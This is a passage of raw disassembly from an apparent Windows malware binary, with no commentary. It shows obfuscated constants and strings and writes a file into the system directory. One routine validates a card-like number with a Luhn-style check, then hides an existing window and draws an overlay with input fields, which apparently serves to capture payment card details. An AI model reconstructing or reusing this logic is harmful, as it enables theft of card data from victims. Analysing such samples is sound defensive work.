lea eax, [ebp+var_48]
push eax
push offset dword_44BA18
push [ebp+var_44]
push [ebp+var_40]
call sub_43F63D
add esp, 10h
mov [ebp+var_4C], eax
mov eax, [ebp+var_44]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43D83F: ; CODE XREF: sub_43D6B1+169j
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43D851: ; CODE XREF: sub_43D6B1+136j
mov eax, [ebp+var_3C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43D85A: ; CODE XREF: sub_43D6B1+105j
inc [ebp+var_8]
loc_43D85D: ; CODE XREF: sub_43D6B1+C1j
mov eax, [ebp+var_C]
cmp [ebp+var_8], eax
jb loc_43D777
loc_43D869: ; CODE XREF: sub_43D6B1:loc_43D759j
lea eax, off_44A3B4
mov [ebp+var_10], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_14]
push eax
push offset dword_44BA08
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr ds:0[esi]
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr [esi+8]
lea eax, [ebp+var_1C]
push eax
push offset dword_44BA08
push [ebp+var_14]
push dword_44A394
call sub_43F63D
add esp, 10h
mov [ebp+var_18], eax
mov ecx, dword_44A1CC
add ecx, dword_44A0EC
sub ecx, 0Ah
cmp eax, ecx
jnz short loc_43D8D9
mov eax, dword_44A394
push eax
mov esi, [eax]
call dword ptr [esi+8]
and dword_44A394, 0
loc_43D8D9: ; CODE XREF: sub_43D6B1+6Fj
; sub_43D6B1+214j
pop edi
pop esi
pop ebx
leave
retn
sub_43D6B1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D8DE proc near ; CODE XREF: sub_43AF47+327p
; sub_43AF47+3B2p
var_16C = byte ptr -16Ch
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 16Ch
push ebx
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call ds:dword_446600 ; GetSystemDirectoryA
lea eax, [ebp+var_168]
push eax
call sub_43F85A
push offset byte_44B09B
call sub_43C507
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_444020
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call ds:dword_444020
push offset byte_44B093
call sub_43C507
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_444020
add esp, 24h
push 0
push 80h
push 4
push 0
movsx eax, word_44A0D0
sub eax, 7
push eax
push 40000000h
lea eax, [ebp+var_104]
push eax
call ds:dword_449788 ; CreateFileA
mov edi, eax
push 0
push 0
push [ebp+arg_4]
push edi
call ds:dword_449B9C ; SetFilePointer
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43D98F: ; CODE XREF: sub_43D8DE+B6j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D98F
mov esi, eax
push 0
lea ebx, [ebp+var_16C]
push ebx
push esi
push [ebp+arg_0]
push edi
call ds:dword_449B8C ; WriteFile
push edi
call ds:dword_448654 ; CloseHandle
pop edi
pop esi
pop ebx
leave
retn
sub_43D8DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D9B8 proc near ; DATA XREF: sub_439B7B+9Bo
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_1FE = byte ptr -1FEh
var_FF = byte ptr -0FFh
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 21Ch
push ebx
push esi
push edi
lea eax, [ebp+var_210]
push eax
push offset dword_4460F0
call sub_44047F
add esp, 8
mov [ebp+var_208], eax
test eax, eax
jnz short loc_43D9E9
xor eax, eax
jmp loc_43DB86
; ---------------------------------------------------------------------------
loc_43D9E9: ; CODE XREF: sub_43D9B8+28j
mov eax, dword_44A0EC
add eax, dword_44A0DC
sub eax, 3
mov [ebp+var_204], eax
loc_43D9FD: ; CODE XREF: sub_43D9B8+1BAj
mov eax, [ebp+var_204]
mov edx, [ebp+var_208]
lea ecx, [edx+eax]
or eax, 0FFFFFFFFh
loc_43DA0F: ; CODE XREF: sub_43D9B8+5Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43DA0F
mov [ebp+var_20C], eax
cmp [ebp+var_20C], 0FFh
jnb short loc_43DA53
mov eax, [ebp+var_204]
movsx edx, word_44A230
add edx, dword_44A1E8
sub edx, 6
add eax, edx
add eax, [ebp+var_208]
push eax
lea eax, [ebp+var_FF]
push eax
call sub_442F8C
loc_43DA53: ; CODE XREF: sub_43D9B8+6Ej
mov eax, dword_44A0C8
mov esi, eax
add esi, dword_44A1D4
sub esi, 2
jmp short loc_43DA8A
; ---------------------------------------------------------------------------
loc_43DA65: ; CODE XREF: sub_43D9B8+E4j
cmp [ebp+esi+var_FF], 28h
jnz short loc_43DA77
mov [ebp+esi+var_FF], 2Bh
loc_43DA77: ; CODE XREF: sub_43D9B8+B5j
cmp [ebp+esi+var_FF], 29h
jnz short loc_43DA89
mov [ebp+esi+var_FF], 3Dh
loc_43DA89: ; CODE XREF: sub_43D9B8+C7j
inc esi
loc_43DA8A: ; CODE XREF: sub_43D9B8+ABj
lea ecx, [ebp+var_FF]
or eax, 0FFFFFFFFh
loc_43DA93: ; CODE XREF: sub_43D9B8+E0j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43DA93
cmp esi, eax
jb short loc_43DA65
push 0FFh
lea eax, [ebp+var_1FE]
push eax
lea eax, [ebp+var_FF]
push eax
call sub_438348
add esp, 0Ch
mov ebx, eax
mov eax, dword_44A158
mov edi, eax
add edi, dword_44A20C
sub edi, 0Fh
jmp short loc_43DAFB
; ---------------------------------------------------------------------------
loc_43DACD: ; CODE XREF: sub_43D9B8+145j
movsx eax, [ebp+edi+var_1FE]
mov [ebp+var_218], eax
mov eax, edi
mul edi
mov [ebp+var_21C], eax
mov eax, [ebp+var_218]
mov edx, [ebp+var_21C]
sub eax, edx
mov [ebp+edi+var_1FE], al
inc edi
loc_43DAFB: ; CODE XREF: sub_43D9B8+113j
cmp edi, ebx
jb short loc_43DACD
mov eax, dword_44A110
add eax, dword_44A094
sub eax, 0Ah
push eax
push [ebp+arg_0]
lea eax, [ebp+var_1FE]
push eax
call sub_4384B5
add esp, 0Ch
mov [ebp+var_214], eax
mov eax, dword_44A140
add eax, 0FFF6h
cmp [ebp+var_214], eax
jz short loc_43DB49
push [ebp+var_208]
call ds:dword_44661C ; LocalFree
xor eax, eax
inc eax
jmp short loc_43DB86
; ---------------------------------------------------------------------------
loc_43DB49: ; CODE XREF: sub_43D9B8+17Ej
mov eax, [ebp+var_20C]
mov edx, dword_44A274
add edx, dword_44A0A8
sub edx, 2
add eax, edx
add [ebp+var_204], eax
mov eax, [ebp+var_210]
cmp [ebp+var_204], eax
jb loc_43D9FD
push [ebp+var_208]
call ds:dword_44661C ; LocalFree
xor eax, eax
loc_43DB86: ; CODE XREF: sub_43D9B8+2Cj
; sub_43D9B8+18Fj
pop edi
pop esi
pop ebx
leave
retn
sub_43D9B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DB8B proc near ; CODE XREF: sub_43858C+BA9p
var_324 = dword ptr -324h
var_320 = dword ptr -320h
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = dword ptr -314h
var_310 = dword ptr -310h
var_30C = dword ptr -30Ch
var_308 = dword ptr -308h
var_304 = dword ptr -304h
var_300 = dword ptr -300h
var_2FC = dword ptr -2FCh
var_2F8 = dword ptr -2F8h
var_2F4 = dword ptr -2F4h
var_2F0 = dword ptr -2F0h
var_2EC = dword ptr -2ECh
var_2E8 = dword ptr -2E8h
var_2E4 = dword ptr -2E4h
var_2E0 = dword ptr -2E0h
var_2DC = dword ptr -2DCh
var_2D8 = dword ptr -2D8h
var_2D4 = dword ptr -2D4h
var_2D0 = dword ptr -2D0h
var_2CC = dword ptr -2CCh
var_2C6 = byte ptr -2C6h
var_2C4 = dword ptr -2C4h
var_2C0 = dword ptr -2C0h
var_2BC = dword ptr -2BCh
var_2B8 = dword ptr -2B8h
var_2B4 = dword ptr -2B4h
var_2B0 = dword ptr -2B0h
var_2AC = dword ptr -2ACh
var_2A8 = dword ptr -2A8h
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = dword ptr -28Ch
var_288 = dword ptr -288h
var_284 = dword ptr -284h
var_280 = dword ptr -280h
var_27C = dword ptr -27Ch
var_278 = dword ptr -278h
var_274 = dword ptr -274h
var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_253 = byte ptr -253h
var_23F = byte ptr -23Fh
var_140 = dword ptr -140h
var_13C = dword ptr -13Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_130 = dword ptr -130h
var_12C = dword ptr -12Ch
var_128 = dword ptr -128h
var_124 = dword ptr -124h
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = dword ptr -114h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_108 = byte ptr -108h
var_106 = byte ptr -106h
var_105 = byte ptr -105h
var_104 = byte ptr -104h
var_102 = word ptr -102h
var_100 = byte ptr -100h
var_FF = byte ptr -0FFh
var_FE = byte ptr -0FEh
var_F5 = byte ptr -0F5h
var_F4 = byte ptr -0F4h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 324h
push ebx
push esi
push edi
cmp [ebp+arg_4], 0
jz loc_43EBBA
mov eax, [ebp+arg_0]
mov al, [eax]
cmp al, 34h
jz short loc_43DBB2
cmp al, 35h
jnz loc_43EBBA
loc_43DBB2: ; CODE XREF: sub_43DB8B+1Dj
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_43DBBA: ; CODE XREF: sub_43DB8B+34j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43DBBA
mov [ebp+var_128], eax
mov edx, dword_44A1AC
add edx, 0Bh
cmp eax, edx
jz short loc_43DBE6
movsx edx, word_44A118
add edx, 10h
cmp eax, edx
jnz loc_43EBBA
loc_43DBE6: ; CODE XREF: sub_43DB8B+47j
mov ebx, dword_44A254
sub ebx, 9
jmp short loc_43DC15
; ---------------------------------------------------------------------------
loc_43DBF1: ; CODE XREF: sub_43DB8B+94j
mov eax, 30h
mul ebx
mov [ebp+var_260], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_260]
cmp ds:dword_447370[edx], eax
jz loc_43EBBA
inc ebx
loc_43DC15: ; CODE XREF: sub_43DB8B+64j
mov eax, dword_44A138
add eax, 64h
cmp ebx, eax
jb short loc_43DBF1
mov eax, dword_44A234
add eax, 0Fh
cmp [ebp+var_128], eax
jnz loc_43DE00
mov eax, [ebp+arg_0]
mov al, [eax+4]
cmp al, 2Dh
jz short loc_43DC47
cmp al, 20h
jnz loc_43EBBA
loc_43DC47: ; CODE XREF: sub_43DB8B+B2j
mov eax, [ebp+arg_0]
mov al, [eax+9]
cmp al, 2Dh
jz short loc_43DC59
cmp al, 20h
jnz loc_43EBBA
loc_43DC59: ; CODE XREF: sub_43DB8B+C4j
mov eax, [ebp+arg_0]
mov al, [eax+0Eh]
cmp al, 2Dh
jz short loc_43DC6B
cmp al, 20h
jnz loc_43EBBA
loc_43DC6B: ; CODE XREF: sub_43DB8B+D6j
mov eax, dword_44A1AC
mov edx, [ebp+arg_0]
mov dl, [edx]
mov [ebp+eax+var_104], dl
mov eax, dword_44A270
mov edx, [ebp+arg_0]
mov dl, [edx+1]
mov byte ptr [ebp+eax+var_102], dl
mov eax, dword_44A1D4
mov edx, [ebp+arg_0]
mov dl, [edx+2]
mov [ebp+eax+var_FF], dl
movsx eax, word_44A100
movsx edx, word_44A174
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+3]
mov [ebp+eax+var_106], dl
mov eax, dword_44A220
mov edx, [ebp+arg_0]
mov dl, [edx+5]
mov [ebp+eax+var_FF], dl
mov eax, dword_44A10C
add eax, dword_44A248
mov edx, [ebp+arg_0]
mov dl, [edx+6]
mov [ebp+eax+var_100], dl
movsx eax, word_44A208
mov edx, [ebp+arg_0]
mov dl, [edx+7]
mov [ebp+eax+var_FE], dl
mov eax, dword_44A0F8
movsx edx, word_44A230
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+8]
mov [ebp+eax+var_105], dl
mov eax, dword_44A15C
mov edx, [ebp+arg_0]
mov dl, [edx+0Ah]
mov [ebp+eax+var_100], dl
movsx eax, word_44A0A4
mov edx, dword_44A0AC
lea eax, [eax+edx+2]
mov edx, [ebp+arg_0]
mov dl, [edx+0Bh]
mov [ebp+eax+var_FF], dl
mov eax, dword_44A154
inc eax
add eax, dword_44A1A8
mov edx, [ebp+arg_0]
mov dl, [edx+0Ch]
mov [ebp+eax+var_FF], dl
movsx eax, word_44A24C
mov edx, dword_44A18C
lea eax, [eax+edx+2]
mov edx, [ebp+arg_0]
mov dl, [edx+0Dh]
mov [ebp+eax+var_FF], dl
mov eax, dword_44A0DC
add eax, 6
movsx edx, word_44A1F0
add eax, edx
mov edx, [ebp+arg_0]
mov dl, [edx+0Fh]
mov [ebp+eax+var_FF], dl
movsx eax, word_44A260
mov edx, [ebp+arg_0]
mov dl, [edx+10h]
mov [ebp+eax+var_F4], dl
movsx eax, word_44A230
movsx edx, word_44A16C
lea eax, [eax+edx+7]
mov edx, [ebp+arg_0]
mov dl, [edx+11h]
mov [ebp+eax+var_FF], dl
mov eax, dword_44A094
add eax, 4
add eax, dword_44A17C
mov edx, [ebp+arg_0]
mov dl, [edx+12h]
mov [ebp+eax+var_FF], dl
mov eax, dword_44A19C
mov edx, dword_44A0D4
sub edx, 6
mov [ebp+eax+var_F5], dl
jmp short loc_43DE0F
; ---------------------------------------------------------------------------
loc_43DE00: ; CODE XREF: sub_43DB8B+A4j
push [ebp+arg_0]
lea eax, [ebp+var_FF]
push eax
call sub_442F8C
loc_43DE0F: ; CODE XREF: sub_43DB8B+273j
mov eax, dword_44A158
mov esi, eax
add esi, dword_44A25C
sub esi, 11h
jmp short loc_43DE36
; ---------------------------------------------------------------------------
loc_43DE21: ; CODE XREF: sub_43DB8B+2B9j
mov al, [ebp+esi+var_FF]
cmp al, 30h
jl short loc_43DE30
cmp al, 39h
jle short loc_43DE35
loc_43DE30: ; CODE XREF: sub_43DB8B+29Fj
jmp loc_43EBBA
; ---------------------------------------------------------------------------
loc_43DE35: ; CODE XREF: sub_43DB8B+2A3j
inc esi
loc_43DE36: ; CODE XREF: sub_43DB8B+294j
mov eax, dword_44A20C
inc eax
add eax, dword_44A214
cmp esi, eax
jb short loc_43DE21
mov eax, dword_44A210
add eax, dword_44A1A8
sub eax, 3
mov [ebp-108h], eax
mov eax, dword_44A1AC
movsx edx, word_44A180
mov esi, eax
add esi, edx
sub esi, 9
jmp short loc_43DEBA
; ---------------------------------------------------------------------------
loc_43DE6F: ; CODE XREF: sub_43DB8B+339j
movsx eax, [ebp+esi+var_FF]
sub eax, 30h
movsx edx, word_44A100
movsx ecx, word_44A104
add edx, ecx
sub edx, 9
imul eax, edx
add [ebp-108h], eax
cmp [ebp+esi+var_FF], 34h
jle short loc_43DEB0
movsx eax, word_44A250
add eax, 8
sub [ebp-108h], eax
loc_43DEB0: ; CODE XREF: sub_43DB8B+313j
mov eax, dword_44A1B8
sub eax, 3
add esi, eax
loc_43DEBA: ; CODE XREF: sub_43DB8B+2E2j
mov eax, dword_44A268
add eax, 0Ch
cmp esi, eax
jb short loc_43DE6F
mov eax, dword_44A120
mov ebx, eax
add ebx, dword_44A15C
sub ebx, 0Dh
jmp short loc_43DEF6
; ---------------------------------------------------------------------------
loc_43DED8: ; CODE XREF: sub_43DB8B+375j
movsx eax, [ebp+ebx+var_FF]
sub eax, 30h
add [ebp-108h], eax
mov eax, dword_44A190
add eax, dword_44A18C
add ebx, eax
loc_43DEF6: ; CODE XREF: sub_43DB8B+34Bj
mov eax, dword_44A094
add eax, 0Ah
cmp ebx, eax
jb short loc_43DED8
mov eax, [ebp-108h]
mov ecx, 0Ah
xor edx, edx
div ecx
movsx edi, word_44A1A4
add edi, dword_44A11C
sub edi, 0Ch
cmp edx, edi
jnz loc_43EBBA
lea eax, [ebp+var_FF]
push eax
call ds:dword_449774
pop ecx
or eax, eax
jnz loc_43EBBA
mov esi, dword_44A1F8
sub esi, 3
mov eax, dword_44A1D0
mov esi, eax
add esi, dword_44A284
sub esi, 10h
jmp short loc_43DF72
; ---------------------------------------------------------------------------
loc_43DF5A: ; CODE XREF: sub_43DB8B+3F7j
mov eax, 30h
mul esi
mov [ebp+var_264], eax
cmp ds:dword_447370[eax], 0
jz short loc_43DF84
inc esi
loc_43DF72: ; CODE XREF: sub_43DB8B+3CDj
mov eax, dword_44A220
add eax, 5Eh
add eax, dword_44A1D4
cmp esi, eax
jb short loc_43DF5A
loc_43DF84: ; CODE XREF: sub_43DB8B+3E4j
mov eax, dword_44A0AC
add eax, 63h
cmp esi, eax
jz loc_43EBBA
mov eax, 30h
mul esi
mov [ebp+var_268], eax
mov eax, [ebp+arg_4]
mov edx, [ebp+var_268]
mov ds:dword_447370[edx], eax
push offset byte_44B081
call sub_43C507
pop ecx
push 0
push eax
push 0
push [ebp+arg_4]
call ds:dword_44963C ; FindWindowExA
mov [ebp+var_134], eax
test eax, eax
jnz short loc_43DFDD
mov eax, [ebp+arg_4]
mov [ebp+var_134], eax
loc_43DFDD: ; CODE XREF: sub_43DB8B+447j
push offset asc_44B074 ; "\t"
call sub_43C507
push eax
push [ebp+var_134]
call sub_43F6E3
mov [ebp+var_12C], eax
push offset asc_44B068 ; "\b"
call sub_43C507
push eax
push [ebp+var_12C]
call sub_43F6E3
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_26C], eax
mov ebx, eax
mov ds:dword_447374[ebx], edi
push 0
mov eax, 30h
mul esi
mov [ebp+var_270], eax
push ds:dword_447374[eax]
call ds:dword_44965C ; ShowWindow
lea eax, [ebp+var_11C]
push eax
push [ebp+var_12C]
call ds:dword_449654 ; GetWindowRect
push 0
call ds:dword_4465E8 ; GetModuleHandleA
mov [ebp+var_10C], eax
push offset word_44B05E
call sub_43C507
add esp, 1Ch
push 0
push [ebp+var_10C]
push 0
push [ebp+var_12C]
mov edi, [ebp+var_110]
sub edi, [ebp+var_118]
push edi
mov edi, [ebp+var_114]
sub edi, [ebp+var_11C]
push edi
mov edi, dword_44A1F8
sub edi, 3
push edi
movsx edi, word_44A178
sub edi, 4
push edi
push 50800000h
lea edi, [ebp+var_FF]
push edi
push eax
push 200h
call ds:dword_44864C ; CreateWindowExA
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_274], eax
mov ebx, eax
mov ds:dword_447378[ebx], edi
mov edi, [ebp+var_110]
sub edi, [ebp+var_118]
movsx ebx, word_44A240
mov edx, dword_44A0F0
lea ebx, [ebx+edx+0F7h]
sub edi, ebx
mov ebx, dword_44A248
add ebx, 37h
add ebx, dword_44A200
mov eax, edi
sub eax, ebx
xor edx, edx
test eax, eax
setl dl
add eax, edx
sar eax, 1
mov [ebp+var_124], eax
mov eax, dword_44A0B4
movsx edx, word_44A1E0
add eax, edx
sub eax, 0Bh
cmp [ebp+var_124], eax
jge short loc_43E14D
mov eax, dword_44A128
sub eax, 8
mov [ebp+var_124], eax
loc_43E14D: ; CODE XREF: sub_43DB8B+5B2j
mov eax, [ebp+var_114]
sub eax, [ebp+var_11C]
movsx edx, word_44A1A4
movsx ecx, word_44A180
lea edx, [edx+ecx+22h]
sub eax, edx
mov [ebp+var_120], eax
push offset dword_44B054
call sub_43C507
mov [ebp+var_278], eax
push offset byte_44B03B
call sub_43C507
mov [ebp+var_27C], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_280], eax
mov edi, eax
push ds:dword_447378[edi]
movsx edi, word_44A230
add edi, 36h
push edi
push [ebp+var_120]
push [ebp+var_124]
movsx edi, word_44A0BC
mov ebx, dword_44A1CC
lea edi, [edi+ebx+5]
push edi
push 50800000h
mov edi, [ebp+var_27C]
push edi
mov edi, [ebp+var_278]
push edi
mov edi, dword_44A1D4
add edi, dword_44A21C
sub edi, 0Ah
push edi
call ds:dword_44864C ; CreateWindowExA
mov [ebp+var_138], eax
push offset byte_44B031
call sub_43C507
mov [ebp+var_284], eax
push offset byte_44B02D
call sub_43C507
mov [ebp+var_288], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_28C], eax
mov edi, eax
push ds:dword_447378[edi]
movsx edi, word_44A24C
mov ebx, dword_44A1D0
lea edi, [edi+ebx+0EAh]
push edi
push [ebp+var_120]
mov edi, [ebp+var_124]
mov ebx, dword_44A108
add ebx, 36h
add edi, ebx
mov ebx, dword_44A0D4
movsx edx, word_44A178
add ebx, edx
sub ebx, 9
add edi, ebx
push edi
mov edi, dword_44A0EC
add edi, 10h
push edi
push 50800009h
mov edi, [ebp+var_288]
push edi
mov edi, [ebp+var_284]
push edi
mov edi, dword_44A210
dec edi
push edi
call ds:dword_44864C ; CreateWindowExA
mov [ebp+var_13C], eax
push 0
push 2
push 0
push 0
push 5
push 1
mov eax, dword_44A0B8
sub eax, 3
push eax
mov eax, dword_44A1EC
add eax, dword_44A1B8
sub eax, 0Dh
push eax
movsx eax, word_44A22C
movsx edx, word_44A1E0
add eax, edx
sub eax, 0Ah
push eax
push 2BCh
mov eax, dword_44A20C
sub eax, 6
push eax
mov eax, dword_44A0F0
dec eax
push eax
mov eax, dword_44A0E4
dec eax
push eax
mov eax, dword_44A204
add eax, 0Dh
add eax, dword_44A19C
push eax
call ds:dword_447250 ; CreateFontA
mov [ebp+var_140], eax
push 1
push eax
push 30h
push [ebp+var_138]
call ds:dword_444014 ; SendMessageA
push offset byte_44B023
call sub_43C507
mov [ebp+var_290], eax
push offset word_44B01E
call sub_43C507
add esp, 18h
push 0
push [ebp+var_10C]
push 0
push [ebp+var_13C]
movsx edi, word_44A240
add edi, 0F8h
mov ebx, dword_44A204
movsx edx, word_44A124
add ebx, edx
sub ebx, 3
sub edi, ebx
push edi
mov edi, [ebp+var_120]
mov ebx, dword_44A1CC
sub ebx, 2
sub edi, ebx
push edi
movsx edi, word_44A16C
movsx ebx, word_44A150
add edi, ebx
sub edi, 8
push edi
movsx edi, word_44A1C0
movsx ebx, word_44A0C0
add edi, ebx
sub edi, 5
push edi
push 50000000h
push eax
mov edi, [ebp+var_290]
push edi
mov edi, dword_44A0E4
add edi, dword_44A268
sub edi, 0Dh
push edi
call ds:dword_44864C ; CreateWindowExA
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_294], eax
mov ebx, eax
mov ds:dword_44737C[ebx], edi
mov eax, dword_44A0E4
cmp [ebp+eax+var_108], 34h
jnz short loc_43E42A
push offset word_44B016
call sub_43C507
pop ecx
push eax
lea edi, [ebp+var_253]
push edi
call sub_442F8C
jmp short loc_43E442
; ---------------------------------------------------------------------------
loc_43E42A: ; CODE XREF: sub_43DB8B+883j
push offset aM_0 ; "\nM"
call sub_43C507
pop ecx
push eax
lea edi, [ebp+var_253]
push edi
call sub_442F8C
loc_43E442: ; CODE XREF: sub_43DB8B+89Dj
push offset word_44AF96
call sub_43C507
lea edi, [ebp+var_FF]
push edi
lea edi, [ebp+var_253]
push edi
push eax
lea edi, [ebp+var_23F]
push edi
call ds:dword_449634
push offset dword_44AF8C
call sub_43C507
mov [ebp+var_298], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_29C], eax
mov edi, eax
push ds:dword_44737C[edi]
mov edi, dword_44A164
add edi, 2Ch
push edi
push [ebp+var_120]
mov edi, dword_44A1E4
add edi, 6
push edi
mov edi, dword_44A244
movsx ebx, word_44A0B0
add edi, ebx
dec edi
push edi
push 50000000h
lea edi, [ebp+var_23F]
push edi
mov edi, [ebp+var_298]
push edi
mov edi, dword_44A188
add edi, dword_44A090
sub edi, 3
push edi
call ds:dword_44864C ; CreateWindowExA
mov [ebp+var_258], eax
push 0
push 2
push 0
push 0
push 5
push 1
mov eax, dword_44A19C
sub eax, 6
push eax
mov eax, dword_44A158
sub eax, 9
push eax
movsx eax, word_44A0D0
sub eax, 7
push eax
push 190h
movsx eax, word_44A208
add eax, dword_44A120
sub eax, 0Ah
push eax
mov eax, dword_44A1AC
add eax, dword_44A23C
sub eax, 0Ah
push eax
mov eax, dword_44A1D0
add eax, dword_44A0AC
sub eax, 2
push eax
mov eax, dword_44A220
add eax, 0Ch
push eax
call ds:dword_447250 ; CreateFontA
mov [ebp+var_130], eax
push 1
push eax
push 30h
push [ebp+var_258]
call ds:dword_444014 ; SendMessageA
push offset dword_44AF80
call sub_43C507
mov [ebp+var_2A0], eax
push offset dword_44AF7C
call sub_43C507
mov [ebp+var_2A4], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2A8], eax
mov edi, eax
push ds:dword_44737C[edi]
mov edi, dword_44A200
add edi, 11Fh
add edi, dword_44A1EC
push edi
mov edi, dword_44A1B8
add edi, 2Dh
push edi
mov edi, dword_44A0F0
add edi, 45h
movsx ebx, word_44A208
add edi, ebx
push edi
movsx edi, word_44A118
add edi, dword_44A254
sub edi, 2
push edi
push 50800003h
mov edi, [ebp+var_2A4]
push edi
mov edi, [ebp+var_2A0]
push edi
mov edi, dword_44A168
add edi, dword_44A12C
sub edi, 8
push edi
call ds:dword_44864C ; CreateWindowExA
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2AC], eax
mov ebx, eax
mov ds:dword_447380[ebx], edi
push offset dword_44AF70
call sub_43C507
mov [ebp+var_2B0], eax
push offset dword_44AF6C
call sub_43C507
add esp, 28h
mov [ebp+var_2B4], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2B8], eax
mov edi, eax
push ds:dword_44737C[edi]
mov edi, dword_44A1B0
add edi, 125h
push edi
mov edi, dword_44A1AC
add edi, 34h
add edi, dword_44A1A0
push edi
mov edi, dword_44A25C
add edi, 41h
add edi, dword_44A1D4
push edi
mov edi, dword_44A120
lea edi, [edi+edi+3Ch]
push edi
push 50800003h
mov edi, [ebp+var_2B4]
push edi
mov edi, [ebp+var_2B0]
push edi
movsx edi, word_44A0E0
add edi, dword_44A108
sub edi, 7
push edi
call ds:dword_44864C ; CreateWindowExA
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2BC], eax
mov ebx, eax
mov ds:dword_447384[ebx], edi
movsx eax, word_44A0E8
add eax, dword_44A1F8
sub eax, 3
mov [ebp+var_102], ax
jmp loc_43E7D6
; ---------------------------------------------------------------------------
loc_43E710: ; CODE XREF: sub_43DB8B+C5Ej
push offset dword_44AF64
call sub_43C507
movzx edi, [ebp+var_102]
push edi
push eax
lea edi, [ebp+var_2C6]
push edi
call ds:dword_449634
lea eax, [ebp+var_2C6]
push eax
movsx eax, word_44A208
movsx edx, word_44A124
add eax, edx
sub eax, 0Bh
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
push ds:dword_447380[eax]
call ds:dword_444014 ; SendMessageA
push offset word_44AF5A
call sub_43C507
movzx edi, [ebp+var_102]
movsx ebx, word_44A0E0
lea edi, [edi+ebx+5]
push edi
push eax
lea edi, [ebp+var_2C6]
push edi
call ds:dword_449634
add esp, 20h
lea eax, [ebp+var_2C6]
push eax
movsx eax, word_44A0A4
add eax, dword_44A134
sub eax, 0Eh
push eax
push 143h
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
push ds:dword_447384[eax]
call ds:dword_444014 ; SendMessageA
inc [ebp+var_102]
loc_43E7D6: ; CODE XREF: sub_43DB8B+B80j
movzx eax, [ebp+var_102]
movsx edx, word_44A208
add edx, 8
cmp eax, edx
jl loc_43E710
push offset word_44AF52
call sub_43C507
mov [ebp+var_2C0], eax
push offset word_44AF4E
call sub_43C507
mov [ebp+var_2C4], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp-2C8h], eax
mov edi, eax
push ds:dword_44737C[edi]
mov edi, dword_44A204
add edi, 17h
push edi
movsx edi, word_44A0BC
mov ebx, dword_44A1D8
lea edi, [edi+ebx+43h]
push edi
mov edi, dword_44A1EC
add edi, 74h
push edi
mov edi, dword_44A1F4
add edi, 2Bh
push edi
push 50800000h
mov edi, [ebp+var_2C4]
push edi
mov edi, [ebp+var_2C0]
push edi
push 200h
call ds:dword_44864C ; CreateWindowExA
mov edi, eax
mov eax, 30h
mul esi
mov [ebp+var_2CC], eax
mov ebx, eax
mov ds:dword_447388[ebx], edi
mov eax, dword_44A1D4
sub eax, 2
push eax
push 58h
push 0CCh
mov eax, 30h
mul esi
mov [ebp+var_2D0], eax
push ds:dword_447388[eax]
call ds:dword_444014 ; SendMessageA
push offset dword_44AF44
call sub_43C507
mov [ebp+var_2D4], eax
push offset word_44AF22
call sub_43C507
mov [ebp+var_2D8], eax
push 0
push [ebp+var_10C]
push 0
mov eax, 30h
mul esi
mov [ebp+var_2DC], eax
mov edi, eax
